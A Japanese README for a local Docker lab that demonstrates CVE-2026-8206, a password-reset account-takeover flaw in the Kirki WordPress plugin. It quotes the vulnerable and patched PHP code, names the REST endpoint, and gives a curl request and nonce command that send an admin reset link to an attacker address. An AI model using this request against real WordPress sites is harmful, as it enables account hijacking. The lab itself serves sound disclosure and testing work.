Kirki WordPressプラグインにおけるCVE-2026-8206を実証するためのローカルDockerラボです。
このリポジトリは、実際のKirkiプラグインのリリースを比較します:
vuln: Kirki 6.0.6patched: Kirki 6.0.7ラボはローカルのみで、WordPressサービスを127.0.0.1にバインドします。
PoCは最小限の害しか与えません。パスワードリセットを要求し、ラボ内でキャプチャされたメールの受信者を検証します。パスワードは一切変更しません。
CVE-2026-8206は、Kirkiバージョン6.0.0から6.0.6における未認証のアカウント乗っ取り/権限昇格の脆弱性です。
脆弱なパスワードリセットハンドラは、usernameで選択された実際のWordPressユーザーのリセットキーを作成しますが、リセットメールはリクエストで指定された任意のメールアドレスに送信します。
このラボでは:
vulnerable => adminのリセットリンクが [email protected] に送信される
patched => 不一致のメールは拒否され、[email protected] にリセットメールは送信されない
6.0.0 から 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
脆弱なハンドラは次のとおりです:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirkiはリクエストボディから攻撃者が提供したメールを読み取ります:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
次に、ユーザー名で対象のWordPressユーザーを特定し、そのユーザーのパスワードリセットキーを作成します:
$key = get_password_reset_key( $user );
しかし、最終的なリセットメールはリクエストで指定された$emailに送信されます:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
これにより、アカウントIDとリセットメールの受信者との間の信頼境界が破られます。 認証されていないリクエスタは次のように提供できます:
username=admin
[email protected]
リセットキーはadminに属しますが、メールは攻撃者が制御するアドレスに配信されます。
Kirki 6.0.7は、提供されたメールが解決されたユーザーの登録メールと一致することを検証し、送信前に受信者をアカウントメールに強制します:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
| サービス | 目的 | ホストURL |
|---|---|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | 脆弱なWordPress用MySQL | Dockerネットワークのみ |
db_patched | 修正版WordPress用MySQL | Dockerネットワークのみ |
wpcli_vuln | 脆弱なWordPressをシード | ワンショットセットアップ |
wpcli_patched | 修正版WordPressをシード | ワンショットセットアップ |
ローカルメールは外部に送信されず、ファイルにキャプチャされます:
artifacts/vuln-mail/
artifacts/patched-mail/
ラボはWP-CLIでインストールされた実際のKirkiプラグインバージョンを使用します。プラグインのソースは変更されていません。
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requests パッケージ必要に応じてPythonの依存関係をインストール:
python3 -m pip install requests
コンテナを起動:
docker compose up -d --build
両方のWordPressインスタンスをシード:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
PoCを実行:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
期待される結果:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
これにより、脆弱なバージョンが対象アカウントのパスワードリセットメールを攻撃者が制御するアドレスに送信したことが証明されます。
期待される結果:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
これにより、修正版がユーザー名/メールの不一致を拒否し、攻撃者が制御するアドレスにリセットメールを送信しないことが証明されます。
脆弱なラボ内で正しいKirki要素nonceを作成:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
脆弱なサービスにローカルのみのリクエストを送信:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
キャプチャされたメールを確認:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
期待される脆弱な証拠:
To: [email protected]
... action=rp ... login=admin ...
このラボは、ローカルのセキュリティ研究およびポートフォリオのデモンストレーションのみを目的としています。
ガードレール:
127.0.0.1のみにバインド。docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail